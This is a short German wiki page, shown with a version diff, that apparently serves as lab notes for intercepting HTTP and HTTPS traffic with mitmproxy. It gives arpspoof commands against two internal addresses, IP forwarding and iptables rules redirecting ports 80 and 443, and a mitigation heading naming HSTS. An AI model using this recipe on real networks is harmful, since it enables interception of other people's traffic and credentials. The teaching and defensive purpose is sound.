Mitproxy: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 8: Zeile 8:
 
=mitmproxy starten=
 
=mitmproxy starten=
 
*mitmproxy -T --host
 
*mitmproxy -T --host
 +
=ausgabe=
 
[[Datei:mitproxy.jpg]]
 
[[Datei:mitproxy.jpg]]
 +
=abhilfe=
 +
[[Datei:hsts.jpg]]
 +
  
 
*http://blog.philippheckel.com/2013/07/01/how-to-use-mitmproxy-to-read-and-modify-https-traffic-of-your-phone/
 
*http://blog.philippheckel.com/2013/07/01/how-to-use-mitmproxy-to-read-and-modify-https-traffic-of-your-phone/

Version vom 16. Oktober 2015, 09:30 Uhr

arpspoofing beide richtungen

  • arpspoof -r -t 192.168.240.8 192.168.240.100

forwarding und nat

  • sysctl -w net.ipv4.ip_forward=1
  • iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  • iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

mitmproxy starten

  • mitmproxy -T --host

ausgabe

Mitproxy.jpg

abhilfe

Hsts.jpg